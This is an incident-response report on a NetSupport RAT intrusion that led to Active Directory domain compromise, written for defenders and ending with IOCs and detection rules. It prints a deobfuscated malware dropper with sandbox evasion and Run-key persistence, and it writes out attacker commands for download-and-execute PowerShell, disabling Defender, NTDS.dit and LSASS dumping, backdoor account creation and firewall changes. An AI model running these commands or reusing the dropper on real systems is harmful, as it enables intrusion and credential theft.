netsupport

NetSupport Intrusion Results in Domain Compromise

October 30, 2023

NetSupport Manager is one of the oldest third-party remote access tools still currently on the market with over 33 years of history. This is the first time we will report on a NetSupport RAT intrusion, but malicious use of this tool dates back to at least 2016. During this report, we will analyze a case from January 2023 where a NetSupport RAT was utilized to infiltrate a network. The RAT was then used for persistence and command & control, resulting in a full domain compromise.

Case Summary

This intrusion began with an email delivered with a zip file containing a malicious Javascript file. Following email delivery, a user extracted and executed the Javascript file. The JavaScript code pulled down an obfuscated PowerShell script that was run in memory. The PowerShell script was responsible for deploying NetSupport onto the system along with ensuring the script was not running in a sandbox and establishing persistence using registry run keys.

Five days after the deployment of NetSupport, the threat actor conducted preliminary reconnaissance by using various Windows utilities like whoami, net, and systeminfo. The threat actor then tried to re-enable a domain admin account that was disabled but appeared to have not succeeded.

This activity was followed several hours later by the installation of an OpenSSH server on the beachhead to facilitate persistence to the machine and network. In order to connect to the OpenSSH server the threat actors established a reverse SSH tunnel from the beachhead to their own server hosted on a VPS provider.

Using the previously mentioned reverse SSH tunnel to proxy connections through the beachhead host, the threat actors created a connection to the domain controller. Through the SSH tunnel the threat actors made use of Impackets atexec.py to issue various discovery commands looking for privileged groups and domain joined computers.

Eight hours later, the threat actor changed firewall settings on a remote server and then began using Impackets wmiexec.py to engage in further lateral movement. The threat actor moved cab files to the remote hosts using SMB and then expanded and ran them using wmiexec.py commands. The executed files were also NetSupport malware, however, these were configured to talk to a new command and control server. Once running, the threat actor then setup a scheduled task for persistence on these remote hosts. A few additional discovery commands were then issued on remote hosts before activity ceased.

The threat actors returned the next day deploying NetSupport on a domain controller. With this access they proceeded to dump the NTDS.dit database. After dumping it, they used 7-zip to compress the files. No specific exfiltration was observed but we assess with medium confidence that this archive was exfiltrated over the network via one of the existing command and control channels.

A little less than an hour later, the threat actor moved to another domain controller and proceeded to again dump NTDS.dit. They also dropped and ran Pingcastle, an active directory auditing tool. While this was running, they used NetSupport to access a backup server to create a new account and add it to the local Administrators and Remote Desktop groups. Using that account, they logged in using RDP, proxying the connection from the beachhead host.

After logging in, they dropped Netscan and a keygen. The threat actor checked on the status of Microsoft Defender and then proceeded to disable it. After disabling the protections, they dropped a renamed ProcDump binary and proceeded to dump LSASS on the domain controller, as well as a backup server.

After this, the threat actor then issued a PowerShell command to search and dump Windows event ID 4624 logon events from the host. These were then zipped using 7-zip and then likely exfiltrated over existing command and control channels for further review. The threat actor also browsed file shares from the domain controller, opening several sensitive documents. Netscan was then moved to the domain controller and executed there. The threat actor issued a few more discovery commands using WMI, and then performed some clean up by killing running tasks like Netscan and the ssh proxy.

The final actions observed involved the threat actor dropping two Nim binaries on a domain controller. These Nim binaries were then used to attempt to create a backdoor user and elevate them to admin level permissions. We did not observe any backdoor account created after execution. After our own testing, we saw the tool failed to work and would return an error. After this, no further hands on activity was seen from the threat actor before they were evicted from the network.

Services

We offer multiple services including a Threat Feed service which tracks Command and Control frameworks such as Cobalt Strike, Metasploit, Empire, Havoc, etc. More information on this service can be found here.

Our All Intel service includes private reports, exploit events, long term infrastructure tracking, clustering, C2 configs, and other curated intel, including non-public case data.

If you are interested in hearing more about our services or would like to talk about a free trial, please reach out using the Contact Us page. We look forward to hearing from you.

Interested in a DFIR Report sticker, shirt, mug or other merchandise? Check out our shop.

Analysts

Analysis and reporting completed by @iiamaleks, @MittenSec, @Miixxedup

Initial Access

Initial Access began with a ZIP file delivered to a victim through email. This email campaign was observed in the wild occurring between late December 2022 through mid January 2023 according to Brad/@malware_traffic (Thanks Brad!). An earlier sample was documented here using a USPS delivery theme with some overlap in command and control present between the intrusions. Once the ZIP file is extracted the user is presented with a JavaScript file.

Once the user clicks on the JavaScript file, WScript will invoke the script.

process.command_line

```
"C:\Windows\System32\WScript.exe" "C:\Users\[redacted]\Downloads\2326.js"
```

Execution

NetSupport Deployment

WScript was used to execute `2326.js` after the user ran the file from the zipped archive.

Following initial execution, `2326.js` invokes an encoded PowerShell command that reaches out to a hard-coded domain, `hxxp://1otal.com/index/index.php`, downloading and invoking the contents as PowerShell code.

```
"C:\Windows\System32\cmd.exe" /c PowersheLl -nop -w hidden -ep bypaSS -enC S
```

The contents downloaded from `hxxp://1otal.com/index/index.php` take the form of an obfuscated PowerShell script responsible for the initial deployment of NetSupport. The full obfuscated contents of this script can be found on this link.

The following is the deobfuscated NetSupport deployment script. Note, this script has been cleaned up for brevity.

```
# Get Script Filename
${ScriptPath} = Split-Path -parent ${MyInvocation}.MyCommand.Definition

# Check Script Filename Agianst a Blacklist
if (${ScriptPath} -match "avast") {exit}
if (${ScriptPath} -match "avg")      {exit}
if (${ScriptPath} -match "sample")   {exit}
if (${ScriptPath} -match "analysis") {exit}
if (${ScriptPath} -match "malware")  {exit}
if (${ScriptPath} -match "sandbox")  {exit}
if (${ScriptPath} -match "virus")    {exit}

# Wrapper Function around Convert-StringToBinary
function React (${Source}, ${Destination})
{
    Convert-StringToBinary -InputString ${Source} -FilePath ${Destination};
}

# Write a Base64 Encoded String to Disk
function Convert-StringToBinary (${InputString}, ${FilePath})
{
    ${file}= ${InputString}

    ${Data} =  [System.Convert]::FromBase64String(${file})
    ${MemoryStream} = New-Object "System.IO.MemoryStream"
    ${MemoryStream}.Write(${Data}, 0, ${Data}."Length")
    ${MemoryStream}.Seek(0,0) | Out-Null

    ${DecompressedStream} = New-Object System.IO.Compression.GZipStream(${Me
    ${StreamReader} = New-Object System.IO.StreamReader(${DecompressedStream
    ${t} = ${StreamReader}.ReadToEnd()

    ${ByteArray} =  [System.Convert]::FromBase64String(${t});
    [System.IO.File]::WriteAllBytes(${FilePath}, ${ByteArray});
```

```
}

# The Install Function is invoked at the end of the script and will have the
function Install
{
    # Registry Path Variables for Persistence, these are written to towards
    [string] ${reg_key} = "HKCU:\Software\Microsoft\Windows\CurrentVersion\R
    [string] ${reg_name} = "SoftwareUpdater"

    # Embedded File Variables
    ${File1} = Gzip Compressed and Base64 Encoded presentationhost.exe
    ${File2} = Gzip Compressed and Base64 Encoded client32.ini # NetSupport
    ${File3} = Gzip Compressed and Base64 Encoded HTCTL32.DLL # Dependency D
    ${File4} = Gzip Compressed and Base64 Encoded msvcr100.dll # Dependency
    ${File5} = Gzip Compressed and Base64 Encoded nskbfltr.inf # NetSupport
    ${File6} = Gzip Compressed and Base64 Encoded NSM.ini # NetSupport compo
    ${File7} = Gzip Compressed and Base64 Encoded NSM.lic # NetSupport licen
    ${File8} = Gzip Compressed and Base64 Encoded pcicapi.dll # Dependency D
    ${File9} = Gzip Compressed and Base64 Encoded PCICHEK.DLL # Dependency D
    ${File10} = Gzip Compressed and Base64 Encoded PCICL32.DLL # Dependency
    ${File11} = Gzip Compressed and Base64 Encoded remcmdstub.exe
    ${File12} = Gzip Compressed and Base64 Encoded TCCTL32.DLL # Dependency

    # Generate Random Folder Name with 8 alphanumeric characters
    ${RandF}=( -join ((0x30..0x39) + ( 0x41..0x5A) + ( 0x61..0x7A) | Get-Ran
    ${FPath} ="$env:appdata\$Randf"
    mkdir ${FPath}

    [string] ${ClientName} = "presentationhost.exe"
    [string] ${remcmdstub} = "remcmdstub.exe"

    React -source ${File1} -destination "$FPath\"+"$ClientName"
    React -source ${File2} -destination "$fpath\client32.ini"
    React -source ${File3} -destination "$fpath\HTCTL32.DLL"
    React -source ${File4} -destination "$fpath\msvcr100.dll"
    React -source ${File5} -destination "$fpath\nskbfltr.inf"
```

```
    React -source ${File6} -destination "$fpath\NSM.ini"
    React -source ${File7} -destination "$fpath\NSM.lic"
    React -source ${File8} -destination "$fpath\pcicapi.dll"
    React -source ${File9} -destination "$fpath\PCICHEK.DLL"
    React -source ${File10} -destination "$fpath\PCICL32.DLL"
    React -source ${File11} -destination "$fpath\$remcmdstub"
    React -source ${File12} -destination "$fpath\TCCTL32.DLL"

    # Establish Persistance in Run Key
    New-ItemProperty -Path "$reg_key" -Name "$reg_name" -Value "$fpath\$clie

    # Start NetSupport
    Start-Process "$fpath\$clientname"

    # Remove Files
    ${F}= Get-Content "$env:temp\insghha4.txt"
    Remove-Item $env:TEMP\*.ps1
    Remove-Item ${F}
}

##############################################################
## Begin Execution Here By Invoking the Install Function ##
##############################################################
Install
```

The NetSupport deployment script takes the following steps:

1. Check the execution name of the script against a list of filenames, if any match the script will exit.
    - The names checked include avast, avg, sample, analysis, malware, sandbox, and virus.
2. All the required files for the NetSupport deployment are packaged inside the deployment script. All these files will be extracted into a randomly named folder under the users `%APPDATA%` directory.
    - The randomly named folder will be a combination of 8 randomly generated letters and numbers, such as `%APPDATA\8EDX3iOx` or `%APPDATA%\KcEwrg3X` .
3. The NetSupport executable will be added to the Registry Run Key for persistence.

4. The NetSupport executable will then be invoked to begin execution.

The NetSupport script creates all required files in the `%APPDATA%` folder.

In addition, an entry was added to `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run` for `presentationhost.exe` (NetSupport) to facilitate persistence on the machine.

Lastly, the PowerShell script will finish by invoking the NetSupport executable directly.

Batch Script Automation

The threat actor was observed making use of Batch scripts to automate some of their tasks, such as executing discovery programs, dumping credentials, and establishing persistence.

Persistence

During the beginning stages of the intrusion, the NetSupport deployment script was used to establish persistence using the Run key under the user registry hive. For more details, see the Execution section.

Since the deployment script was PowerShell based, the source process of the registry activity will appear as `powershell.exe`.

In addition, a scheduled task was created to launch OpenSSH SSH Server with a specific configuration altered to make OpenSSH listen locally on port 2222 instead of 22.

```
schtasks.exe /create /sc minute /mo 1 /tn "SSH Server" /rl highest /tr "C:\P
```

Following the previous command, another scheduled task was created to establish a reverse SSH tunnel to the attacker's server. See the lateral movement section to understand how this aided the attacker's activities.

```
schtasks.exe /create /sc minute /mo 1 /tn "SSH Key Exchange" /rl highest /tr
```

The entire process related to OpenSSH and its persistence was automated by the threat actors through a script named `install.bat`. In this case, the script generated a new private key using `ssh-keygen` and corrected the permissions on the file using `icacls;` this is required because if the permissions are too open on the private key, SSH will exit with an error. More details regarding the SSH tunneling command executed within the scheduled task can be seen under the Command and Control section.

The threat actor created a local user account and added the user to the Administrators and Remote Desktop Users groups. The newly created user account was named `WDAGUtilityAccount2` to blend in with the default user account `WDAGUtilityAccount` present on Windows.

```
net  user WDAGUtilityAccount2 Decryptme1488@ /add
net  localgroup Administrators WDAGUtilityAccount2 /add
net  localgroup "Remote Desktop Users" WDAGUtilityAccount2 /add
```

Lastly, the threat actor made use of NIM based tools to authenticate via pass-the-hash and to create a new local administrator user.

The following demonstrates the possible command line parameters of this tool.

Looking at the strings present in the files we can discover that these are compiled NIM binaries.

Sifting further through the strings, we stumble on the command used to create the user account.

```
@%COMSPEC% /C "net user localend Decryptme7 /add"
```

We can also see the command that was used to attempt to add the user to the administrators group.

We did not observe any backdoor account created after execution. When we performed our own testing, we saw the tools failed to work and would return an error rather than create an account.

Defense Evasion

During this intrusion, the threat actor was primarily concerned with evading detection by Microsoft Defender. This can be seen multiple times throughout the intrusion where the threat actor checked the historical alerts from Defender using `powershell Get-MpThreat` after conducting credential harvesting or lateral movement actions.

During the intrusion, we observed multiple attempts to add exclusions and ultimately trying to disable the local Defender using below commands. The threat actor made several typos during the command execution, indicating a hands-on approach rather than a scripted one.

```
powershell  Get-MpThreat
powershell  Get-MpPreference
powershell  Add-MpPreference -ExclustionPath c:\users\public
powershell  Add-MpPreference -ExclusionPath c:\users\public
powershell  Add-MpPreference -ExclusionProcess c:\users\public\mpms.exe
powershell  Add-MpPreference -DisableBehaviourMonitoring True
powershell  Add-MpPreference -DisableBehaviorMonitoring True
powershell  Add-MpPreference -DisDisableRealtimeMonitoring True
```

The mpms executable from the above commands was a renamed ProcDump binary. It was likely renamed in an attempt to avoid detection.

After some activity, the threat actor entered the 'Scans' directory of Microsoft's Defender software, located under:

```
C:\ProgramData\Microsoft\Windows Defender\Scans\History\
```

In addition to checking the Windows Defender historical scan files, the threat actor once again used the `Get-MpThreat` Cmdlet to query the history of threats detected by Windows Defender.

During the intrusion, the threat actor relied heavily on the toolkit **Impacket** (especially *atexec.py and wmiexec).* To facilitate some of its capabilities, the host-based firewall was modified before the actual execution of atexec.py and wmiexec executions:

```
cmd.exe /C netsh advfirewall firewall add rule dir=in name="DCOM" program=C:
cmd.exe /C netsh advfirewall firewall add rule dir=in name="DCOM" program=C:
cmd.exe /C netsh advfirewall firewall add rule dir=in name ="WMI" program=C:
cmd.exe /C netsh advfirewall firewall add rule dir=in name ="UnsecApp" progr
cmd.exe /C netsh advfirewall firewall add rule dir=out name ="WMI_OUT" progr
```

Multiple times during the intrusion, the threat actor made use of cabinet files (.cab). These are archive files, which support lossless data compression. They are mainly used to distribute device drivers and system files. However, in this case, the actor used its functionality similarly to a traditional .zip archive and deployed its contents under the *programdata* directory.

```
cmd.exe /Q /c expand cache.cab -F:* c:\programdata
```

After decompression, we found a **NetSupport** executable disguised as a Windows component. The executable file was named `mswow86.exe`. The threat actor created a scheduled task to run the binary on every logon.

```
cmd.exe /Q /c start "" %%programdata%%\schcache\mswow86.exe
cmd.exe /Q /c schtasks.exe /create /sc onlogon /tn "Wow64 Subsystem" /rl hig
```

All the chosen names appear to represent a ‘legitimate’ Windows component:

- The name for the executable (`mswow86.exe`)
- The storage location of this executable (*%programdata%\schache*)
- The scheduled task name (*Wow64 Subsystem*)

Credential Access

We observed the threat actor dumping the **ntds.dit** database on two different domain controllers using a batch script, which then executed the command described in here:

```
powershell.exe  "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\users\public
powershell.exe  "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\ProgramData\
```

As seen in the Defense Evasion section, the actor used the Sysinternals tool ProcDump. The threat actor executed a command to identify the PID of the lsass.exe process. This allowed them to target the correct process to dump lsass:

It appears this will not work, as there is no directory for the *find* command, but the actor likely piped it together, as we saw execution of **tasklist** at the same time:

This is likely the result of executing something like the following (`tasklist | find /i "lsas"`):

Using the renamed ProcDump utility, the threat actor dumps the **lsass.exe** process, which can be used to get more credential information:

```
mpms.exe  -accepteula -ma 632
mpms.exe  -accepteula -ma 716
```

Discovery

The attackers executed several familiar discovery commands on the targeted systems. These were related to the discovery of information on users, hosts and the network configuration. The threat actor connected via the NetSupport agent and then started running commands via a spawned instance of **cmd.exe**

Below are the first batch of executed discovery commands observed. As seen during this entire intrusion, the threat actor makes small mistakes, either with typos or in command functionality:

```
whoami
net user
net user /domain
whoami /all
net user <PRIV_ACCOUNT>
net group "Domain Admins" /domain
systeminfo
cmdkey /list
```

We observed the threat actor quickly query for a specific account. This account is a local admin and a domain admin. However, this account was not activated and the actor tried to enable it, making a few mistakes along the way:

```
nltest /dclist:<REDACTED>
cmdkey /add:<DC_NAME> /user:<DOMAIN>\<PRIV_ACC> /pass:REDACTED
net user <PRIV_ACC> /domain
whoami
```

```
net user <USER_ACCOUNT> /domain
cmdkey /del:<DC_NAME>
cmdkey /add:"<DC_NAME>" /user:<DC_NAME>\<PRIV_ACC> /pass:REDACTED
cmdkey /del:"<DC_NAME>"
net user <PRIV_ACCOUNT>
cmdkey /add:"<DC_NAME>" /user:<DC_NAME>\<PRIV_ACC> /pass:REDACTED
net user /add:"<BEACHHOST>" /user:<DOMAIN_NAME><PRIV_ACC>/pass:REDACTED
cmdkey /list
cmdkey /del:"<DC_NAME>"
cmdkey /del:"<BEACHHOST>"
```

We observe a couple of mistakes, as a result of hands-on activity and struggling to get things working:

- The first *cmdkey* is actually correct usage, however the account was not activated.
- Using */add* requires the usage of domain credentials, not credentials of machine.
- Adding quotes to a command, where it does not matter.

After this endeavor, the threat actor tried elsewhere, looking around for interesting information related to the SYSVOL shares. Additionally, the actor looked for the presence of SSH. This was not installed on the system, so the threat actor installed their own SSH server, as can be seen under the PERSISTENCE section. Additionally, the threat actor tried his luck to find additional domain controllers:

```
net view \\<DOMAIN_NAME>.local
net view \\<DOMAIN_NAME>.local\sysvol
net view \\<DOMAIN_NAME>.local\SYSVOL
whoami /all
tasklist
find /i "ssh"
ping -n 1 <DOMAIN_NAME>.local
ping -n 1 <DC1>.<DOMAIN_NAME>.local
ping -n 1 <DC2>.<DOMAIN_NAME>.local
```

```
ping -n 1 <DC3>.<DOMAIN_NAME>.local
arp -a
ping -n 1 REDACTED
ping -n 1 -a REDACTED
ping -n 1 -a REDACTED
ping -n 1 -a REDACTED
net view REDACTED
```

In addition to the recognizable atexec.py characteristics, this excellent read explains how to hunt for atexec.py in the Windows event logs:

```
cmd.exe /C net group /domain > C:\Windows\Temp\aWatKmSa.tmp 2>&1
```

Resulted in:

and three seconds later in:

After this, wmiexec is observed:

```
cmd.exe /Q /c cmdkey /list 1> \\127.0.0.1\ADMIN$\__REDACTED 2>&1
cmd.exe /Q /c dor 1> \\127.0.0.1\ADMIN$\____REDACTED  2>&1
cmd.exe /Q /c whoami 1> \\127.0.0.1\ADMIN$\____REDACTED  2>&1
cmd.exe /Q /c cd \ 1> \\127.0.0.1\ADMIN$\____REDACTED  2>&1
```

```
cmd.exe /Q /c cd 1> \\127.0.0.1\ADMIN$\____REDACTED  2>&1
cmd.exe /Q /c whoami 1> \\127.0.0.1\ADMIN$\____REDACTED  2>&1
cmd.exe /Q /c cd \ 1> \\127.0.0.1\ADMIN$\____REDACTED  2>&1
cmd.exe /Q /c cd 1> \\127.0.0.1\ADMIN$\____REDACTED  2>&1
cmd.exe /Q /c cd programdata 1> \\127.0.0.1\ADMIN$\____REDACTED  2>&1
cmd.exe /Q /c cd 1> \\127.0.0.1\ADMIN$\____REDACTED  2>&1
cmd.exe /Q /c ls 1> \\127.0.0.1\ADMIN$\____REDACTED  2>&1
cmd.exe /Q /c dir 1> \\127.0.0.1\ADMIN$\____REDACTED  2>&1
cmd.exe /Q /c expand cache.cab -F:* c:\programdata 1> \\127.0.0.1\ADMIN$\___
cmd.exe /Q /c whoami /all 1> \\127.0.0.1\ADMIN$\____REDACTED  2>&1
```

After the *Impacket* activity, the threat actor returned later to a domain controller and a backup server, where additional tooling was used for discovery. The first was PingCastle, an active directory auditing tool. On the domain controller, the threat actor executed the following commands:

```
whoami
net  group "Domain Admins"
quser
C:\ProgramData\start.bat
→ starting "pingcastle.exe --healthcheck --level Full"
C:\ProgramData\ntds.bat
  → script to dump the ntds
```

The second one was the SoftPerfect Network Scanner. This utility is commonly used by threat actors. While a paid utility, many use the free trial version. However, during this intrusion, the actor clearly did not pay for its version, as they brought their own keygen. On the backup server, the threat actor executed the following commands:

```
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Public\netscan_portable\" -s
```

```
C:\Users\Public\netscan_portable\64-bit\SoftPerfect_<REDACTED>Patch_Keygen_v
"C:\Users\Public\netscan_portable\64-bit\netscan.exe"
```

During the later stage of the intrusion, the threat actor dumped the event 4624 logs from a domain controller. These were written to the file mf.txt. This file was later added to a zip archive. The file was not looked at on the host it was dumped on. The dumping of these logs may have been to review user logon activity across the environment.

```
powershell  -w hidden -C "Get-WinEvent -Logname 'security' -FilterXPath '*[S
powershell  -w hidden -C "Get-WinEvent -Logname 'security' -FilterXPath '*[S
```

Lateral Movement

The threat actor heavily used the reverse SSH tunnel discussed within the Command and Control section to assist in lateral movement. Through this tunnel, the threat actor was able to proxy their access from the beachhead to other assets in the network using a handful of different techniques, including WMI, and RDP.

As mentioned in the discovery section, Impacket's atexec module was utilized within the SSH tunnel to proxy traffic to a domain controller to assist with lateral movement. In between executions of atexec, we see Windows Security event logs that match behavior of lateral movement:

SMB

During the intrusion, the threat actor used SMB to copy files over to other systems. Here, the files were not sent over the network in the clear, preventing network inspection, but we were able to inspect the file creation and deletion via event ID 5145 for File Share Auditing event. In the logs, we can see the AccessMask of 0x2 during the file write followed by 0x10080 during the file delete action.

WMI

Impacket's wmiexec tool was used to pivot across the environment, extract the archived file `cache.cab`, and execute scheduled tasks to run NetSupport RAT on remote systems.

For a breakdown of the process command line arguments, refer to this previous report.

RDP

Remote Desktop Protocol (RDP) was used from the beachhead to two servers and two domain controllers on the network. We can verify this activity with Windows Event ID 4624 with logon type 10. This log triggers whenever a user successfully logs on to a computer or server via remote interactive logon (RDP or other remote desktop services).

Below illustrates the threat actor initiating RDP sessions from the beachhead to various servers within the network on day eight of this intrusion.

Below, illustrates the full network architecture and lateral movement seen within this incident.

During the intrusion, the threat actor revealed two different host names leaked in various Windows Event logs during their RDP sessions.

```
DESKTOP-TBDQ6K1
WIN-5ODCFIGQRP3
```

Example Windows event ID 4776:

Example Windows event ID 4624:

Example Windows event ID 4779:

Collection

The threat actor was observed connecting to a file server from the Domain Controller and browsing multiple secretive documents on the system.

Additionally, we see the threat actor using 7-zip to collect the previously dumped ntds and a text file called mf.txt.

Command and Control

NetSupport

As referenced in the Initial Access section, the NetSupport deployment script writes a `client32.ini` file to the AppData Roaming path, which specifies the primary and secondary gateway.

The primary gateway, `npinmclaugh11[.]com:2145`, was unsuccessful as it resolved to an IP of `127.0.0.127`. As a result, all communication was thus routed through the secondary gateway at `npinmclaugh14[.]com:2145`.

```
Dns query:
RuleName: -
UtcTime: <DAY 1> 03:34:16.236
ProcessGuid: {a9d5a793-0bb7-63ca-9404-000000000300}
ProcessId: 7648
QueryName: Npinmclaugh11.com
QueryStatus: 0
QueryResults: 127.0.0.127;
Image: C:\Users\<REDACTED>\AppData\Roaming\eHNjqgzZ\presentationhost.exe
User: <REDACTED>
```

```
Dns query:
RuleName: -
UtcTime: <DAY 1> 03:34:18.828
ProcessGuid: {a9d5a793-0bb7-63ca-9404-000000000300}
ProcessId: 7648
QueryName: Npinmclaugh14.com
QueryStatus: 0
```

```
QueryResults: 89.185.85.44;
Image: C:\Users\<REDACTED>\AppData\Roaming\eHNjqgzZ\presentationhost.exe
User: <REDACTED>
```

NetSupport connections were established on day one to 89.185.85.44 on port 2145; however, on day five of the intrusion, another NetSupport `client32.ini` file was deployed to other assets on the network, introducing a new command and control server of `wsus-isv-local[.]tech:133` and `wsus-isv-internal[.]tech:133`.

```
Dns query:
RuleName: -
UtcTime: <DAY 4> 22:26:27.990
ProcessGuid: {1dc91c81-5b19-63d0-0806-000000000600}
ProcessId: 4852
QueryName: wsus-isv-local.tech
QueryStatus: 0
QueryResults: 79.137.206.37;
Image: C:\ProgramData\schcache\mswow86.exe
User: <REDACTED>\Administrator
```

The following table provides a summary of all the domains and IPs used by NetSupport during this incident :

NetSupport C2 Domain	DNS Resolve Status	Resolved IP
npinmclaugh11[.]com	NOERROR	127.0.0.127
npinmclaugh14[.]com	NOERROR	89.185.85.44
wsus-isv-local[.]tech	NOERROR	79.137.206.37
wsus-isv-internal[.]tech	NXDOMAIN	N/A

SSH Tunnelling

On day five of this intrusion, two scheduled tasks (“SSH Server” and “SSH Key Exchange”) were created on the beachhead to establish a local SSH server running on port 2222 for remote system 185.206.146.129.

The command used to establish the reverse SSH tunnel within the scheduled task is described below:

Below diagram depicts this SSH reverse tunnel from the victim network to attacker’s VPS.

Exfiltration

During the intrusion, we noticed that the threat actors staging data of interest. It is likely that the threat actor exfiltrated the data over the encrypted C2 channel; however, we observed no evidence of this activity. The *ntds.dit* can be used to dump hashes from the Active Directory, which can then be cracked using a tool like Hashcat. The file *mf.txt* contained all dumped events with event id 4624. This could be analyzed offline to determine possible interesting accounts without actively querying the Active Directory. No specific exfiltration actions were observed, so anything taken was likely moved over existing command and control channels. The threat actor also appeared to be interested in some documents, but we only observed opening of those files, not any exfiltration attempts.

Impact

The threat actors were evicted from the network before any further impact occurred.

Timeline

Indicators

Atomic

```
1otal[.]com
79.137.202.132
185.206.146.129
npinmclaugh11[.]com
npinmclaugh14[.]com
89.185.85.44
wsus-isv-local[.]tech
79.137.206.37
wsus-isv-internal[.]tech
```

Computed

```
2326.js
72dc8b8b6c7c083128728b8405fa5a8f
9060c11e7d18d7047ad81aa4241187eebd93c0da
b1f52abc28427c5a42a70db9a77163dde648348e715f59e8a335c7252ae4a032

NSM.LIC
e9609072de9c29dc1963be208948ba44
03bbe27d0d1ba651ff43363587d3d6d2e170060f
dc6a52ad6d637eb407cc060e98dfeedcca1167e7f62688fb1c18580dd1d05747

NSM.ini
88b1dab8f4fd1ae879685995c90bd902
3d23fb4036dc17fa4bee27e3e2a56ff49beed59d
60fe386112ad51f40a1ee9e1b15eca802ced174d7055341c491dee06780b3f92

PingCastle.exe
ecb98b7b4d4427eb8221381154ff4cb2  PingCastle.exe
72dbb719b05f89d9d2dbdf186714caf7639daa36
768021fc242054decc280675750dec0a9e74e764b8646864c58756fa2386d2a2
```

```
client32.ini
729711d44606095a4727aed7ff4d864d
8af9952f5e0fa84606f588c5704c5a5ab7e06822
bba34ad7183d7911f7f2c53bfe912d315d0e44d7aa0572963dc003d063130e85

client32u.ini
7ba6ead2477bd9956886086f69552ac6
3a8c2155f9b97e06f3d9990387492ef0260f6209
aa92645428fb4c4e2cccbdf9b6acd7e6a51eecc2d6d63d7b8fe2e119e93c2bb5

install.bat
b0f3b2741a50a3608f5c7f898d14c571
3021194d590f5dfb32fb24c7d0e359c4db2f9178
041b0504742449c7c23750490b73bc71e5c726ad7878d05a73439bd29c7d1d19

mswow86.exe
c60ac6a6e6e582ab0ecb1fdbd607705b
ba9de479beb82fd97bbdfbc04ef22e08224724ba
4d24b359176389301c14a92607b5c26b8490c41e7e3a2abbc87510d1376f4a87

netscan32.exe
d1212fb5c6333c218f62f3f83341539c
19be503233f0eda426a418addc82edecf223af9d
097f2a0e032bf20757e004e80c9a2640f41b8514e32d42004632de7c721b015f

netscan64.exe
b30025427a546c23b122eea43171ef21
f85c2447003221f59c9f0fa6654464ac78015be3
5ef9844903e8d596ac03cc000b69bbbe45249eea02d9678b38c07f49e4c1ec46

nskbfltr.inf
26e28c01461f7e65c402bdf09923d435
1d9b5cfcc30436112a7e31d5e4624f52e845c573
d96856cd944a9f1587907cacef974c0248b7f4210f1689c1e6bcac5fed289368
```

```
nsm_vpro.ini
3be27483fdcdbf9ebae93234785235e3
360b61fe19cdc1afb2b34d8c25d8b88a4c843a82
4bfa4c00414660ba44bddde5216a7f28aeccaa9e2d42df4bbff66db57c60522b

ntds.bat
ab828b585b4c2ce90171e5e0b13aaa55
5454d444aeefda5fb251b081218082ec858b94d3
060e9ff09cd97ec6a1b614dcc1de50f4d669154f59d78df36e2c4972c2535714

remcmdstub.exe
6fca49b85aa38ee016e39e14b9f9d6d9
b0d689c70e91d5600ccc2a4e533ff89bf4ca388b
fedd609a16c717db9bea3072bed41e79b564c4bc97f959208bfa52fb3c9fa814

start.bat
2736d3a1aa9cba6fa61db380d4bdf447
2848dc0e665eb1b2508b75b4375c6937ab9a4968
4c0736c9a19c2e172bb504556f7006fa547093b79a0a7e170e6412f98137e7cd
B

pth_addadmin.exe
4b0f482757876a3e07b94d2390d9906c
141cd13c6fe9cf00d513b8e4cbc9b94b3ca9f4b3
3bee705c062227dcb2d109bf62ab043c68ba3fb53b1ce679dc138273ba884b08

pth_createuser.exe
a02d89b0210671b3519c5d3818188e53
ad58d012e2bacc87f348e72e1377cf35bc6c9ebd
e42620721f5ec455a63cded483d18dfa5abdabca3319b0a4e3e21bd098348d48
```

Detections

Network

```
ET INFO NetSupport Remote Admin Checkin
ET INFO NetSupport Remote Admin Response
ET MALWARE NetSupport RAT with System Information
ET POLICY NetSupport GeoLocation Lookup Request
ET USER_AGENTS WinRM User Agent Detected - Possible Lateral Movement
ET POLICY WinRM wsman Access - Possible Lateral Movement
ET SCAN Behavioral Unusual Port 445 traffic Potential Scan or Infection
ET SCAN Behavioral Unusual Port 1433 traffic Potential Scan or Infection
```

Sigma

Search sigma rules at detection.fyi

Sigma Repo:

```
0afbd410-de03-4078-8491-f132303cb67d - Renamed NetSupport RAT Execution
2afafd61-6aae-4df4-baed-139fa1f4c345 - Invocation of Active Directory Diagnc
8bc64091-6875-4881-aaf9-7bd25b5dda08 - Suspicious Process Patterns NTDS.DIT
0b8baa3f-575c-46ee-8715-d6f28cc7d33c - NTDS.DIT Created
9f107a84-532c-41af-b005-8d12a607639f - Suspicious Cabinet File Expansion
058f4380-962d-40a5-afce-50207d36d7e2 - HackTool - CrackMapExec Execution Pat
0ef56343-059e-4cb6-adc1-4c3c967c5e46 - Suspicious Execution of Systeminfo
4a0b2c7e-7cb2-495d-8b63-5f268e7bfd67 - Renamed ProcDump Execution
17769c90-230e-488b-a463-e05c08e9d48f - Powershell Defender Exclusion
1ec65a5f-9473-4f12-97da-622044d6df21 - Powershell Defender Disable Scan Feat
ad720b90-25ad-43ff-9b5e-5c841facc8e5 - Add User to Local Administrators Grou
ffa28e60-bdb1-46e0-9f82-05f7a61cc06e - Suspicious Add User to Remote Desktop
1e33157c-53b1-41ad-bbcc-780b80b58288 - WSF/JSE/JS/VBA/VBE File Execution Via
cd5cfd80-aa5f-44c0-9c20-108c4ae12e3c - New Firewall Rule Added Via Netsh.EXE
ca2092a1-c273-4878-9b4b-0d60115bf5ea - Suspicious Encoded PowerShell Command
07f8bdc2-c9b3-472a-9817-5a670b872f53 - Potential Reconnaissance For Cached C
```

```
b1ec66c6-f4d1-4b5c-96dd-af28ccae7727 - New Generic Credentials Added Via Cmd
502b42de-4306-40b4-9596-6f590c81f073 - Local Accounts Discovery
```

Joe Security:

```
200105 - Powershell drops NetSupport RAT client
```

The DFIR Report Repo:

```
a5661068-c85f-4ee1-bc13-6b753bd2c7b7 - Adding, Listing and Removing Credenti
d938de18-7f57-4c9c-93b9-a621c746d594 - NIM Pass The Hash Tooling Detection
```

Yara

https://github.com/The-DFIR-Report/Yara-Rules/blob/main/19438/19438.yar

Diamond Model

MITRE

```
Proxy - T1090
Uncommonly Used Port - T1065
JavaScript - T1059.007
Windows Command Shell - T1059.003
```

```
PowerShell - T1059.001
Registry Run Keys / Startup Folder - T1547.001
Scheduled Task - T1053.005
Local Account - T1136.001
